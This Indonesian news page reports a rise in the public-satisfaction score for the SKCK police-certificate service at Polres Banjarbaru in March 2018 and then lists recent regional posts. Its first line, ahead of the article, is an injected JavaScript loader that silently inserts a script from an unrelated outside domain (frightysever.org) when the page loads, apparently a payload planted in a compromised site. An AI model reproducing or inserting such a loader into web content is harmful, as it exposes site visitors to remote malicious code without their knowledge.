(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Layanan Publik

Nilai IKM Layanan SKCK Polres Banjarbaru Naik


BANJARBARU, Indeks Kepuasan Masyarakat (IKM) pelayanan pembuatan SKCK di Polres Banjarbaru mengalami kenaikan nilai pada bulan Maret, lebih tinggi dari bulan sebelumnya.

Petugas SKCK Polres Banjarbaru melakukan survey Indeks Kepuasan Masyarakat (IKM) pada unit Pelayanan SKCK Polres Banjarbaru bulan Maret 2018. Pada bulan Februari 2018 hasil survey IKM berhasil mendapatkan nilai (88,25) dengan mutu pelayanan (A). Di Bulan Maret 2018 ini mengalami kenaikan nilai yaitu (88,50) dengan mutu pelayanan A dan kinerja unit pelayanan sangat baik.

Sebanyak 14 pertanyaan di berikan kepada masyarakat yang ingin membuat Surat Keterangan Catatan Kepolisian (SKCK). Pertanyaan itu, pada intinya ingin mengetahui pendapat masyarakat terhadap pelayanan yang diberikan oleh petugas SKCK polres banjarbaru.

“Alhamdulillah, kami mendapatkan nilai 88,50 dengan mutu pelayanan A di bulan Maret 2018 dan mengalami kenaikan nilai sebanyak 0,25 dari bulan Februari lalu dengan mutu pelayanan A dan kinerja unit peyananan sangat baik,” kata Petugas Pelayanan SKCK Polres Banjarbaru Brigadir Rina Susanti.

Kapolres Banjarbaru AKBP Kelana Jaya melalui Kasat Intelkam Polres Banjarbaru AKP Tatang Suryawan menjelaskan, survey IKM dilakukan sebagai bahan kajian dan evaluasi pelayanan publik guna untuk mendapatkan penilaian. Sehingga upaya peningkatan kualiatas pelayanan publik dapat terwujud sesuai dengan harapan, kebutuhan dan tuntutan masyarakat terhadap kualitas aparatur penyelenggaraan pelayanan publik.

“Dengan hasil dari Indeks Kepuasan Masyarakat ini, menjadikan motivasi kami dalam memberikan pelayanan kepada masyarakat khusus nya dalam pelayanan pembuatan SKCK,” pungkas AKP Tatang Suryawa. (rico)

Reporter : Rico
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.